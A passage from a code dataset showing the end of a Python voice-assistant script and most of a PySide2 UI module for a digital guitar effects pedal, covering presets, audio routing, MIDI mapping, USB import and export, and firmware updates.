Sir\"\"\"\n ass.assistant_speaks(speak) \n return\n \n elif \"calculate\" in text.lower(): \n \n # write your wolframalpha app_id here \n app_id = \"WOLFRAMALPHA_APP_ID\" \n client = wolframalpha.Client(app_id) \n \n indx = text.lower().split().index('calculate') \n query = text.split()[indx + 1:] \n res = client.query(' '.join(query)) \n answer = next(res.results).text \n ass.assistant_speaks(\"The answer is \" + answer) \n return\n \n elif 'open' in text: \n open_application(text.lower()) \n return\n \n else: \n \n ass.assistant_speaks(\"I can search the web for you, Do you want to continue?\") \n ans = ga.get_audio() \n if 'yes' in str(ans) or 'yeah' in str(ans): \n wa.find_web(text) \n else: \n return\n except : \n \n ass.assistant_speaks(\"I don't understand, I can search the web for you, Do you want to continue?\") \n ans = ga.get_audio() \n if 'yes' in str(ans) or 'yeah' in str(ans): \n wa.find_web(text) \n","repo_name":"ashutoshpith/Voice-Assistant-in-Python","sub_path":"text_process.py","file_name":"text_process.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"28716201049","text":"import sys, time, json, os.path, os, subprocess, queue, threading\nos.environ[\"QT_IM_MODULE\"] = \"qtvirtualkeyboard\"\nfrom signal import signal, SIGINT, SIGTERM\nfrom time import sleep\nfrom sys import exit\n###### UI\n# --------------------------------------------------------------------------------------------------------\n\noutput_port_names = {\"Out 1\": (\"system\", \"playback_3\"),\n \"Out 2\": (\"system\", \"playback_4\"),\n \"Out 3\": (\"system\", \"playback_6\"),\n \"Out 4\": (\"system\", \"playback_8\"),\n \"Delay 1 In\": (\"delay1\", \"in0\"),\n \"Delay 2 In\": (\"delay2\", \"in0\"),\n \"Delay 3 In\": (\"delay3\", \"in0\"),\n \"Delay 4 In\": (\"delay4\", \"in0\"),\n \"Cab\": (\"cab\", \"In\"),\n \"Reverb\": (\"eq2\", \"In\"),\n }\n# inv_source_port_names = dict({(v, k) for k,v in source_port_names.items()})\ninv_output_port_names = dict({(v, k) for k,v in output_port_names.items()})\n\ndef ui_worker(ui_mess, core_mess):\n os.sched_setaffinity(0, (2, ))\n EXIT_PROCESS = [False]\n from PySide2.QtGui import QGuiApplication\n from PySide2.QtCore import QObject, QUrl, Slot, QStringListModel, Property, Signal\n from PySide2.QtQml import QQmlApplicationEngine\n from PySide2.QtGui import QIcon\n # compiled QML files, compile with pyside2-rcc\n import qml.qml\n import icons.icons#, imagine_assets\n import resource_rc\n import start_jconvolver\n\n def clamp(v, min_value, max_value):\n return max(min(v, max_value), min_value)\n\n def send_core_message(command, args):\n core_messages.put((command, args))\n\n class PolyEncoder(QObject):\n # name, min, max, value\n def __init__(self, starteffect=\"\", startparameter=\"\"):\n QObject.__init__(self)\n self.effectval = starteffect\n self.parameterval = startparameter\n self.speed = 1\n self.value = 1\n\n def readEffect(self):\n return self.effectval\n\n def setEffect(self,val):\n self.effectval = val\n self.effect_changed.emit()\n\n @Signal\n def effect_changed(self):\n pass\n\n effect = Property(str, readEffect, setEffect, notify=effect_changed)\n\n def readParameter(self):\n return self.parameterval\n\n def setParameter(self,val):\n self.parameterval = val\n self.parameter_changed.emit()\n\n @Signal\n def parameter_changed(self):\n pass\n\n parameter = Property(str, readParameter, setParameter, notify=parameter_changed)\n\n class PolyBool(QObject):\n # name, min, max, value\n def __init__(self, startval=False):\n QObject.__init__(self)\n self.valueval = startval\n\n def readValue(self):\n return self.valueval\n\n def setValue(self,val):\n self.valueval = val\n self.value_changed.emit()\n\n @Signal\n def value_changed(self):\n pass\n\n value = Property(bool, readValue, setValue, notify=value_changed)\n\n class PolyValue(QObject):\n # name, min, max, value\n def __init__(self, startname=\"\", startval=0, startmin=0, startmax=1, curve_type=\"lin\"):\n QObject.__init__(self)\n self.nameval = startname\n self.valueval = startval\n self.rminval = startmin\n self.rmax = startmax\n self.assigned_cc = None\n\n def readValue(self):\n return self.valueval\n\n def setValue(self,val):\n # clamp values\n self.valueval = clamp(val, self.rmin, self.rmax)\n self.value_changed.emit()\n # print(\"setting value\", val)\n\n @Signal\n def value_changed(self):\n pass\n\n value = Property(float, readValue, setValue, notify=value_changed)\n\n def readName(self):\n return self.nameval\n\n def setName(self,val):\n self.nameval = val\n self.name_changed.emit()\n\n @Signal\n def name_changed(self):\n pass\n\n name = Property(str, readName, setName, notify=name_changed)\n\n def readRMin(self):\n return self.rminval\n\n def setRMin(self,val):\n self.rminval = val\n self.rmin_changed.emit()\n\n @Signal\n def rmin_changed(self):\n pass\n\n rmin = Property(float, readRMin, setRMin, notify=rmin_changed)\n\n def readRMax(self):\n return self.rmaxval\n\n def setRMax(self,val):\n self.rmaxval = val\n self.rmax_changed.emit()\n\n @Signal\n def rmax_changed(self):\n pass\n\n rmax = Property(float, readRMax, setRMax, notify=rmax_changed)\n\n source_ports = [\"sigmoid1:Output\", \"delay2:out0\",\"delay3:out0\", \"delay4:out0\",\n \"postreverb:Out Left\", \"postreverb:Out Right\", \"system:capture_2\", \"system:capture_4\",\n \"system:capture_3\", \"system:capture_5\", \"postcab:Out\"]\n available_port_models = dict({(k, QStringListModel()) for k in source_ports})\n used_port_models = dict({(k, QStringListModel()) for k in available_port_models.keys()})\n\n preset_list = []\n try:\n with open(\"/pedal_state/preset_list.json\") as f:\n preset_list = json.load(f)\n except:\n preset_list = [\"Akg eq ed\", \"Back at u\"]\n preset_list_model = QStringListModel(preset_list)\n\n def set_knob_current_effect(knob, effect, parameter):\n # get current value and update encoder / cache.\n knob_map[knob].effect = effect\n knob_map[knob].parameter = parameter\n\n def insert_row(model, row):\n j = len(model.stringList())\n model.insertRows(j, 1)\n model.setData(model.index(j), row)\n\n def remove_row(model, row):\n i = model.stringList().index(row)\n model.removeRows(i, 1)\n\n # preset map number to filename\n # playlists\n # add number + filename\n def jump_to_preset(is_inc, num):\n p_list = preset_list_model.stringList()\n if is_inc:\n current_preset.value = (current_preset.value + num) % len(p_list)\n else:\n if num < len(p_list):\n current_preset.value = num\n else:\n return\n load_preset(\"/presets/\"+p_list[current_preset.value]+\".json\")\n\n\n def save_preset(filename):\n # write all effect parameters\n output = {\"effects\":{}}\n output[\"midi_map\"] = {}\n for effect, parameters in effect_parameter_data.items():\n output[\"effects\"][effect] = {}\n # output[\"midi_map\"][effect] = {}\n for param_name, p_value in parameters.items():\n if param_name == \"ir\":\n output[\"effects\"][effect][param_name] = p_value.name\n else:\n output[\"effects\"][effect][param_name] = p_value.value\n if p_value.assigned_cc is not None:\n if effect not in output[\"midi_map\"]:\n output[\"midi_map\"][effect] = {}\n output[\"midi_map\"][effect][param_name] = p_value.assigned_cc\n # write enabled state\n output[\"state\"] = {k:v.value for k,v in plugin_state.items()}\n # write connections\n output[\"connections\"] = tuple(current_connection_pairs_poly)\n output[\"midi_connections\"] = tuple(current_midi_connection_pairs_poly)\n # write knob / midi mapping XXX\n output[\"knobs\"] = {k:[v.effect, v.parameter] for k,v in knob_map.items()}\n # write bpm\n output[\"bpm\"] = current_bpm.value\n output[\"delay_num_bars\"] = delay_num_bars.value\n with open(filename, \"w\") as f:\n json.dump(output, f)\n\n def load_preset(filename):\n preset = {}\n with open(filename) as f:\n preset = json.load(f)\n current_preset.name = os.path.splitext(os.path.basename(filename))[0]\n # read first as clips\n if \"delay_num_bars\" in preset:\n if preset[\"delay_num_bars\"] != delay_num_bars.value:\n delay_num_bars.value = preset[\"delay_num_bars\"]\n effect_parameter_data[\"delay1\"][\"Delay_1\"].rmax = preset[\"delay_num_bars\"]\n effect_parameter_data[\"delay2\"][\"Delay_1\"].rmax = preset[\"delay_num_bars\"]\n effect_parameter_data[\"delay3\"][\"Delay_1\"].rmax = preset[\"delay_num_bars\"]\n effect_parameter_data[\"delay4\"][\"Delay_1\"].rmax = preset[\"delay_num_bars\"]\n else:\n delay_num_bars.value = 2\n effect_parameter_data[\"delay1\"][\"Delay_1\"].rmax = 2\n effect_parameter_data[\"delay2\"][\"Delay_1\"].rmax = 2\n effect_parameter_data[\"delay3\"][\"Delay_1\"].rmax = 2\n effect_parameter_data[\"delay4\"][\"Delay_1\"].rmax = 2\n\n # read all effect parameters\n for effect_name, effect_value in preset[\"effects\"].items():\n for parameter_name, parameter_value in effect_value.items():\n # update changed\n if parameter_name == \"ir\":\n if effect_parameter_data[effect_name][parameter_name].name != parameter_value:\n knobs.update_ir(effect_name == \"reverb\", parameter_value)\n else:\n if effect_parameter_data[effect_name][parameter_name].value != parameter_value:\n # print(\"loading parameter\", effect_name, parameter_name, parameter_value)\n knobs.ui_knob_change(effect_name, parameter_name, parameter_value)\n # remove all existing MIDI mapping\n if effect_parameter_data[effect_name][parameter_name].assigned_cc is not None:\n knobs.unmap_parameter(effect_name, parameter_name)\n for effect_name, effect_value in preset[\"midi_map\"].items():\n for parameter_name, parameter_value in effect_value.items():\n send_core_message(\"map_parameter_cc\", (effect_name, parameter_name, parameter_value, False))\n effect_parameter_data[effect_name][parameter_name].assigned_cc = parameter_value\n # read enabled state\n for effect, is_active in preset[\"state\"].items():\n if effect == \"global\":\n pass\n else:\n send_core_message(\"set_active\", (effect, is_active))\n plugin_state[effect].value = is_active\n # read connections\n # preset_con_list = []\n # for conn in preset[\"connections\"]:\n # if conn[0] == \"system:capture_2\":\n # preset_con_list.append((\"balance1:Out Left\", conn[1]))\n # else:\n # preset_con_list.append(tuple(conn))\n preset_connections = set([tuple(a) for a in preset[\"connections\"]])\n # preset_connections = set(preset_con_list)\n # remove connections that aren't in the new preset\n for source_port, target_port in (current_connection_pairs_poly-preset_connections):\n effect, source_p = source_port.split(\":\")\n knobs.ui_remove_connection(effect, source_p, target_port)\n # add connections that are in the new preset but not the old\n for source_port, target_port in (preset_connections - current_connection_pairs_poly):\n effect, source_p = source_port.split(\":\")\n knobs.ui_add_connection(effect, source_p, target_port)\n midi_connections = set([(tuple(a[0]), tuple(a[1])) for a in preset[\"midi_connections\"]])\n for source_pair, target_pair in midi_connections:\n send_core_message(\"add_connection_pair\", (source_pair, target_pair))\n global current_midi_connection_pairs_poly\n current_midi_connection_pairs_poly = midi_connections\n # read knob mapping\n for knob, mapping in preset[\"knobs\"].items():\n send_core_message(\"map_parameter\", (knob, mapping[0], mapping[1]))\n # read bpm\n if current_bpm.value != preset[\"bpm\"]:\n current_bpm.value = preset[\"bpm\"]\n send_core_message(\"set_bpm\", (preset[\"bpm\"], ))\n\n\n class Knobs(QObject):\n \"\"\"Basically all functions for QML to call\"\"\"\n\n def __init__(self):\n QObject.__init__(self)\n self.waitingval = \"\"\n\n @Slot(str, str, 'double')\n def ui_knob_change(self, effect_name, parameter, value):\n # print(x, y, z)\n if (effect_name in effect_parameter_data) and (parameter in effect_parameter_data[effect_name]):\n effect_parameter_data[effect_name][parameter].value = value\n send_core_message(\"knob_change\", (effect_name, parameter, value))\n else:\n print(\"effect not found\")\n\n @Slot(str, str, str)\n def ui_add_connection(self, effect, source_port, x, midi=False):\n effect_source = effect + \":\" + source_port\n if not midi:\n remove_row(available_port_models[effect_source], x)\n insert_row(used_port_models[effect_source], x)\n current_connection_pairs_poly.add((effect_source, x))\n # print(\"portMap is\", portMap)\n send_core_message(\"add_connection\", (effect, source_port, x))\n\n @Slot(str, str, str)\n def ui_remove_connection(self, effect, source_port, x):\n effect_source = effect + \":\" + source_port\n remove_row(used_port_models[effect_source], x)\n insert_row(available_port_models[effect_source], x)\n current_connection_pairs_poly.remove((effect_source, x))\n\n send_core_message(\"remove_connection\", (effect, source_port, x))\n\n @Slot(str)\n def toggle_enabled(self, effect):\n # print(\"toggling\", effect)\n is_active = not plugin_state[effect].value\n plugin_state[effect].value = is_active\n send_core_message(\"toggle_enabled\", (effect, ))\n\n @Slot(str)\n def set_bypass_type(self, t):\n print(\"setting bypass type\", t)\n send_core_message(\"set_bypass_type\", (t, ))\n\n @Slot(bool, str)\n def update_ir(self, is_reverb, ir_file):\n # print(\"updating ir\", ir_file)\n current_ir_file = ir_file[7:] # strip file:// prefix\n # cause call file callback\n # by calling show GUI\n # TODO queue reverb loading for presets\n if is_reverb:\n # kill existing jconvolver\n # write jconvolver file\n # start jconvolver\n if is_loading[\"reverb\"].value:\n return\n is_loading[\"reverb\"].value = True\n effect_parameter_data[\"reverb\"][\"ir\"].name = ir_file\n # host.show_custom_ui(pluginMap[\"reverb\"], True)\n start_jconvolver.generate_reverb_conf(current_ir_file)\n # host.set_program(pluginMap[\"reverb\"], 0)\n else:\n if is_loading[\"cab\"].value:\n return\n is_loading[\"cab\"].value = True\n effect_parameter_data[\"cab\"][\"ir\"].name = ir_file\n start_jconvolver.generate_cab_conf(current_ir_file)\n\n\n\n @Slot(str, str)\n def map_parameter(self, effect_name, parameter):\n if self.waiting == \"left\" or self.waiting == \"right\":\n # mapping and encoder\n set_knob_current_effect(self.waiting, effect_name, parameter)\n send_core_message(\"map_parameter\", (self.waiting, effect_name, parameter,\n effect_parameter_data[effect_name][parameter].rmin,\n effect_parameter_data[effect_name][parameter].rmax))\n # print(\"mapping knob core\")\n else:\n # we're mapping to LFO\n # print(\"mapping lfo frontend\")\n send_core_message(\"map_parameter_to_lfo\", (self.waiting, effect_name, parameter, effect_parameter_data[self.waiting][\"cc_num\"].value))\n # connect ports\n effect_parameter_data[effect_name][parameter].assigned_cc = effect_parameter_data[self.waiting][\"cc_num\"].value\n current_midi_connection_pairs_poly.add(((self.waiting, \"events-out\"), (effect_name, \"events-in\")))\n self.waiting = \"\"\n\n @Slot(str, str)\n def unmap_parameter(self, effect_name, parameter):\n send_core_message(\"unmap_parameter\", (effect_name, parameter))\n effect_parameter_data[effect_name][parameter].assigned_cc = None\n\n @Slot(str, str, int)\n def map_parameter_cc(self, effect_name, parameter, cc):\n send_core_message(\"map_parameter_cc\", (effect_name, parameter, cc))\n effect_parameter_data[effect_name][parameter].assigned_cc = cc\n current_midi_connection_pairs_poly.add(((\"ttymidi\", \"MIDI_in\"), (effect_name, \"events-in\")))\n\n @Slot(str)\n def set_waiting(self, knob):\n # print(\"waiting\", knob)\n self.waiting = knob\n\n def readWaiting(self):\n return self.waitingval\n\n def setWaiting(self,val):\n self.waitingval = val\n self.waiting_changed.emit()\n\n @Signal\n def waiting_changed(self):\n pass\n\n waiting = Property(str, readWaiting, setWaiting, notify=waiting_changed)\n\n @Slot(str)\n def ui_save_preset(self, preset_name):\n # print(\"saving\", preset_name)\n # TODO add folders\n outfile = \"/presets/\"+preset_name+\".json\"\n current_preset.name = preset_name\n save_preset(outfile)\n\n @Slot(str)\n def ui_load_preset_by_name(self, preset_file):\n # print(\"loading\", preset_file)\n outfile = preset_file[7:] # strip file:// prefix\n load_preset(outfile)\n update_counter.value+=1\n\n @Slot()\n def ui_copy_irs(self):\n # print(\"copy irs from USB\")\n # could convert any that aren't 48khz.\n # instead we just only copy ones that are\n command_reverb = \"\"\"cd /media/reverbs; find . -iname \"*.wav\" -type f -exec sh -c 'test $(soxi -r \"$0\") = \"48000\"' {} \\; -print0 | xargs -0 cp --target-directory=/audio/reverbs --parents\"\"\"\n command_cab = \"\"\"cd /media/cabs; find . -iname \"*.wav\" -type f -exec sh -c 'test $(soxi -r \"$0\") = \"48000\"' {} \\; -print0 | xargs -0 cp --target-directory=/audio/cabs --parents\"\"\"\n # copy all wavs in /usb/reverbs and /usr/cabs to /audio/reverbs and /audio/cabs\n command_status[0].value = -1\n command_status[1].value = -1\n command_status[0].value = subprocess.call(command_reverb, shell=True)\n command_status[1].value = subprocess.call(command_cab, shell=True)\n\n @Slot()\n def import_presets(self):\n # print(\"copy presets from USB\")\n # could convert any that aren't 48khz.\n # instead we just only copy ones that are\n command = \"\"\"cd /media/presets; find . -iname \"*.json\" -type f -print0 | xargs -0 cp --target-directory=/presets --parents\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n\n @Slot()\n def export_presets(self):\n # print(\"copy presets to USB\")\n # could convert any that aren't 48khz.\n # instead we just only copy ones that are\n command = \"\"\"cd /presets; mkdir -p /media/presets; find . -iname \"*.json\" -type f -print0 | xargs -0 cp --target-directory=/media/presets --parents;sudo umount /media\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n\n @Slot()\n def copy_logs(self):\n # print(\"copy presets to USB\")\n # could convert any that aren't 48khz.\n # instead we just only copy ones that are\n command = \"\"\"mkdir -p /media/logs; sudo cp /var/log/syslog /media/logs/;sudo umount /media\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n\n @Slot()\n def ui_update_firmware(self):\n # print(\"Updating firmware\")\n # dpkg the debs in the folder\n command = \"\"\"sudo dpkg -i /media/*.deb\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n\n @Slot(bool)\n def enable_ableton_link(self, enable):\n extra = \":link:\" if enable else \"\"\n host.transportExtra = extra\n host.set_engine_option(ENGINE_OPTION_TRANSPORT_MODE,\n host.transportMode,\n host.transportExtra)\n\n @Slot(int)\n def set_channel(self, channel):\n args = []\n for effect, parameters in effect_parameter_data.items():\n for param_name, p_value in parameters.items():\n if p_value.assigned_cc is not None:\n args.append((pluginMap[effect], parameterMap[effect][param_name]))\n\n send_core_message(\"set_channel\", (channel, args))\n midi_channel.value = channel\n pedal_state[\"midi_channel\"] = channel\n write_pedal_state()\n\n @Slot(int)\n def set_input_level(self, level, write=True):\n command = \"amixer -- sset ADC1 \"+str(level)+\"db\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n if write:\n pedal_state[\"input_level\"] = level\n write_pedal_state()\n\n @Slot(int)\n def set_preset_list_length(self, v):\n if v > len(preset_list_model.stringList()):\n # print(\"inserting new row in preset list\", v)\n insert_row(preset_list_model, \"Default Preset\")\n else:\n # print(\"removing row in preset list\", v)\n preset_list_model.removeRows(v, 1)\n\n @Slot(int, str)\n def map_preset(self, v, name):\n current_name = name[16:-5] # strip file://presets/ prefix\n preset_list_model.setData(preset_list_model.index(v), current_name)\n\n @Slot()\n def save_preset_list(self):\n with open(\"/pedal_state/preset_list.json\", \"w\") as f:\n json.dump(preset_list_model.stringList(), f)\n\n def add_ports(port):\n source_ports_self = {\"sigmoid1:Output\":\"delay1\", \"delay2:out0\":\"delay2\",\n \"delay3:out0\": \"delay3\", \"delay4:out0\": \"delay4\",\n \"postreverb:Out Left\":\"eq2\", \"postreverb:Out Right\":\"eq2\",\n \"system:capture_2\":\"system\", \"system:capture_4\":\"system\",\n \"system:capture_3\":\"system\", \"system:capture_5\":\"system\",\n \"postcab:Out\":\"cab\"}\n for k, model in available_port_models.items():\n if source_ports_self[k] == \"system\" or source_ports_self[k] != output_port_names[port][0]:\n # print(\"add_port\", k, port)\n insert_row(model, port)\n\n def process_ui_messages():\n # pop from queue\n try:\n while not EXIT_PROCESS[0]:\n m = ui_messages.get(block=False)\n # print(\"got ui message\", m)\n if m[0] == \"is_loading\":\n # print(\"setting is loading is process_ui\")\n is_loading[m[1][0]].value = False\n elif m[0] == \"value_change\":\n # print(\"got value change in process_ui\")\n effect_name, parameter, value = m[1]\n if (effect_name in effect_parameter_data) and (parameter in effect_parameter_data[effect_name]):\n effect_parameter_data[effect_name][parameter].value = value\n elif m[0] == \"bpm_change\":\n current_bpm.value = m[1][0]\n elif m[0] == \"set_plugin_state\":\n plugin_state[m[1][0]].value = m[1][1]\n elif m[0] == \"add_port\":\n add_ports(m[1][0])\n elif m[0] == \"jump_to_preset\":\n jump_to_preset(m[1][0], m[1][1])\n elif m[0] == \"exit\":\n # global EXIT_PROCESS\n EXIT_PROCESS[0] = True\n except queue.Empty:\n pass\n\n def write_pedal_state():\n with open(\"/pedal_state/state.json\", \"w\") as f:\n json.dump(pedal_state, f)\n\n\n lfos = []\n\n\n for n in range(1):\n lfos.append({})\n lfos[n][\"num_points\"] = PolyValue(\"num_points\", 1, 1, 16)\n lfos[n][\"channel\"] = PolyValue(\"channel\", 1, 1, 16)\n lfos[n][\"cc_num\"] = PolyValue(\"cc_num\", 102+n, 0, 127)\n for i in range(1,17):\n lfos[n][\"time\"+str(i)] = PolyValue(\"time\"+str(i), 0, 0, 1)\n lfos[n][\"value\"+str(i)] = PolyValue(\"value\"+str(i), 0, 0, 1)\n lfos[n][\"style\"+str(i)] = PolyValue(\"style\"+str(i), 0, 0, 5)\n\n # this is not great\n\n effect_parameter_data = {\"delay1\": {\"BPM_0\" : PolyValue(\"BPM_0\", 120.000000, 30.000000, 300.000000),\n \"Delay_1\" : PolyValue(\"Time\", 0.500000, 0.001000, 1.000000),\n \"Warp_2\" : PolyValue(\"Warp\", 0.000000, -1.000000, 1.000000),\n \"DelayT60_3\" : PolyValue(\"Glide\", 0.500000, 0.000000, 100.000000),\n \"Feedback_4\" : PolyValue(\"Feedback\", 0.300000, 0.000000, 1.000000),\n \"Amp_5\" : PolyValue(\"Level\", 0.500000, 0.000000, 1.000000),\n \"FeedbackSm_6\" : PolyValue(\"Tone\", 0.000000, 0.000000, 1.000000),\n \"EnableEcho_7\" : PolyValue(\"EnableEcho_7\", 1.000000, 0.000000, 1.000000),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"delay2\": {\"BPM_0\" : PolyValue(\"BPM_0\", 120.000000, 30.000000, 300.000000),\n \"Delay_1\" : PolyValue(\"Time\", 0.500000, 0.001000, 1.000000),\n \"Warp_2\" : PolyValue(\"Warp\", 0.000000, -1.000000, 1.000000),\n \"DelayT60_3\" : PolyValue(\"Glide\", 0.500000, 0.000000, 100.000000),\n \"Feedback_4\" : PolyValue(\"Feedback\", 0.300000, 0.000000, 1.000000),\n \"Amp_5\" : PolyValue(\"Level\", 0.500000, 0.000000, 1.000000),\n \"FeedbackSm_6\" : PolyValue(\"Tone\", 0.000000, 0.000000, 1.000000),\n \"EnableEcho_7\" : PolyValue(\"EnableEcho_7\", 1.000000, 0.000000, 1.000000),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"delay3\": {\"BPM_0\" : PolyValue(\"BPM_0\", 120.000000, 30.000000, 300.000000),\n \"Delay_1\" : PolyValue(\"Time\", 0.500000, 0.001000, 1.000000),\n \"Warp_2\" : PolyValue(\"Warp\", 0.000000, -1.000000, 1.000000),\n \"DelayT60_3\" : PolyValue(\"Glide\", 0.500000, 0.000000, 100.000000),\n \"Feedback_4\" : PolyValue(\"Feedback\", 0.300000, 0.000000, 1.000000),\n \"Amp_5\" : PolyValue(\"Level\", 0.500000, 0.000000, 1.000000),\n \"FeedbackSm_6\" : PolyValue(\"Tone\", 0.000000, 0.000000, 1.000000),\n \"EnableEcho_7\" : PolyValue(\"EnableEcho_7\", 1.000000, 0.000000, 1.000000),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"delay4\": {\"BPM_0\" : PolyValue(\"BPM_0\", 120.000000, 30.000000, 300.000000),\n \"Delay_1\" : PolyValue(\"Time\", 0.500000, 0.001000, 1.000000),\n \"Warp_2\" : PolyValue(\"Warp\", 0.000000, -1.000000, 1.000000),\n \"DelayT60_3\" : PolyValue(\"Glide\", 0.500000, 0.000000, 100.000000),\n \"Feedback_4\" : PolyValue(\"Feedback\", 0.300000, 0.000000, 1.000000),\n \"Amp_5\" : PolyValue(\"Level\", 0.500000, 0.000000, 1.000000),\n \"FeedbackSm_6\" : PolyValue(\"Tone\", 0.000000, 0.000000, 1.000000),\n \"EnableEcho_7\" : PolyValue(\"EnableEcho_7\", 1.000000, 0.000000, 1.000000),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"reverb\": {\"gain\": PolyValue(\"gain\", 0, -90, 24), \"ir\": PolyValue(\"/audio/reverbs/emt_140_dark_1.wav\", 0, 0, 1),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"postreverb\": {\"routing\": PolyValue(\"gain\", 6, 0, 6), \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"mixer\": {\"mix_1_1\": PolyValue(\"mix 1,1\", 1, 0, 1), \"mix_1_2\": PolyValue(\"mix 1,2\", 0, 0, 1),\n \"mix_1_3\": PolyValue(\"mix 1,3\", 0, 0, 1),\"mix_1_4\": PolyValue(\"mix 1,4\", 0, 0, 1),\n \"mix_2_1\": PolyValue(\"mix 2,1\", 0, 0, 1),\"mix_2_2\": PolyValue(\"mix 2,2\", 1, 0, 1),\n \"mix_2_3\": PolyValue(\"mix 2,3\", 0, 0, 1),\"mix_2_4\": PolyValue(\"mix 2,4\", 0, 0, 1),\n \"mix_3_1\": PolyValue(\"mix 3,1\", 0, 0, 1),\"mix_3_2\": PolyValue(\"mix 3,2\", 0, 0, 1),\n \"mix_3_3\": PolyValue(\"mix 3,3\", 1, 0, 1),\"mix_3_4\": PolyValue(\"mix 3,4\", 0, 0, 1),\n \"mix_4_1\": PolyValue(\"mix 4,1\", 0, 0, 1),\"mix_4_2\": PolyValue(\"mix 4,2\", 0, 0, 1),\n \"mix_4_3\": PolyValue(\"mix 4,3\", 0, 0, 1),\"mix_4_4\": PolyValue(\"mix 4,4\", 1, 0, 1)\n },\n \"tape1\": {\"drive\": PolyValue(\"drive\", 5, 0, 10), \"blend\": PolyValue(\"tape vs tube\", 10, -10, 10)},\n # \"filter1\": {\"freq\": PolyValue(\"cutoff\", 440, 20, 15000, \"log\"), \"res\": PolyValue(\"resonance\", 0, 0, 0.8)},\n \"sigmoid1\": {\"Pregain\": PolyValue(\"pre gain\", 0, -90, 20), \"Postgain\": PolyValue(\"post gain\", 0, -90, 20)},\n \"reverse1\": {\"fragment\": PolyValue(\"fragment\", 1000, 100, 1600),\n \"wet\": PolyValue(\"wet\", 0, -90, 20),\n \"dry\": PolyValue(\"dry\", 0, -90, 20)},\n # \"reverse2\": {\"fragment\": PolyValue(\"fragment\", 1000, 100, 1600),\n # \"wet\": PolyValue(\"wet\", 0, -90, 20),\n # \"dry\": PolyValue(\"dry\", 0, -90, 20)},\n \"eq2\": {\n \"enable\": PolyValue(\"Enable\", 1.000000, 0.000000, 1.0),\n \"gain\": PolyValue(\"Gain\", 0.000000, -18.000000, 18.000000),\n \"HighPass\": PolyValue(\"Highpass\", 0.000000, 0.000000, 1.000000),\n \"HPfreq\": PolyValue(\"Highpass Frequency\", 20.000000, 5.000000, 1250.000000),\n \"HPQ\": PolyValue(\"HighPass Resonance\", 0.700000, 0.000000, 1.400000),\n \"LowPass\": PolyValue(\"Lowpass\", 0.000000, 0.000000, 1.000000),\n \"LPfreq\": PolyValue(\"Lowpass Frequency\", 20000.000000, 500.000000, 20000.000000),\n \"LPQ\": PolyValue(\"LowPass Resonance\", 1.000000, 0.000000, 1.400000),\n \"LSsec\": PolyValue(\"Lowshelf\", 1.000000, 0.000000, 1.000000),\n \"LSfreq\": PolyValue(\"Lowshelf Frequency\", 80.000000, 25.000000, 400.000000),\n \"LSq\": PolyValue(\"Lowshelf Bandwidth\", 1.000000, 0.062500, 4.000000),\n \"LSgain\": PolyValue(\"Lowshelf Gain\", 0.000000, -18.000000, 18.000000),\n \"sec1\": PolyValue(\"Section 1\", 1.000000, 0.000000, 1.000000),\n \"freq1\": PolyValue(\"Frequency 1\", 160.000000, 20.000000, 2000.000000),\n \"q1\": PolyValue(\"Bandwidth 1\", 0.600000, 0.062500, 4.000000),\n \"gain1\": PolyValue(\"Gain 1\", 0.000000, -18.000000, 18.000000),\n \"sec2\": PolyValue(\"Section 2\", 1.000000, 0.000000, 1.000000),\n \"freq2\": PolyValue(\"Frequency 2\", 397.000000, 40.000000, 4000.000000),\n \"q2\": PolyValue(\"Bandwidth 2\", 0.600000, 0.062500, 4.000000),\n \"gain2\": PolyValue(\"Gain 2\", 0.000000, -18.000000, 18.000000),\n \"sec3\": PolyValue(\"Section 3\", 1.000000, 0.000000, 1.000000),\n \"freq3\": PolyValue(\"Frequency 3\", 1250.000000, 100.000000, 10000.000000),\n \"q3\": PolyValue(\"Bandwidth 3\", 0.600000, 0.062500, 4.000000),\n \"gain3\": PolyValue(\"Gain 3\", 0.000000, -18.000000, 18.000000),\n \"sec4\": PolyValue(\"Section 4\", 1.000000, 0.000000, 1.000000),\n \"freq4\": PolyValue(\"Frequency 4\", 2500.000000, 200.000000, 20000.000000),\n \"q4\": PolyValue(\"Bandwidth 4\", 0.600000, 0.062500, 4.000000),\n \"gain4\": PolyValue(\"Gain 4\", 0.000000, -18.000000, 18.000000),\n \"HSsec\": PolyValue(\"Highshelf\", 1.000000, 0.000000, 1.000000),\n \"HSfreq\": PolyValue(\"Highshelf Frequency\", 8000.000000, 1000.000000, 16000.000000),\n \"HSq\": PolyValue(\"Highshelf Bandwidth\", 1.000000, 0.062500, 4.000000),\n \"HSgain\": PolyValue(\"Highshelf Gain\", 0.000000, -18.000000, 18.000000)},\n \"cab\": {\"gain\": PolyValue(\"gain\", 0, -90, 24), \"ir\": PolyValue(\"/audio/cabs/1x12cab.wav\", 0, 0, 1),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"postcab\": {\"gain\": PolyValue(\"gain\", 0, -90, 24), \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"lfo1\": lfos[0],\n # \"lfo2\": lfos[1],\n # \"lfo3\": lfos[2],\n # \"lfo4\": lfos[3],\n \"mclk\": {\"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n }\n\n knob_map = {\"left\": PolyEncoder(\"delay1\", \"Delay_1\"), \"right\": PolyEncoder(\"delay1\", \"Feedback_4\")}\n\n all_effects = [(\"delay1\", True), (\"delay2\", True), (\"delay3\", True),\n (\"delay4\", True), (\"reverb\", True), (\"postreverb\", True), (\"mixer\", True),\n (\"tape1\", False), (\"reverse1\", False),\n (\"sigmoid1\", False), (\"eq2\", True), (\"cab\", True), (\"postcab\", True)]\n plugin_state = dict({(k, PolyBool(initial)) for k, initial in all_effects})\n plugin_state[\"global\"] = PolyBool(True)\n current_connection_pairs_poly = set()\n 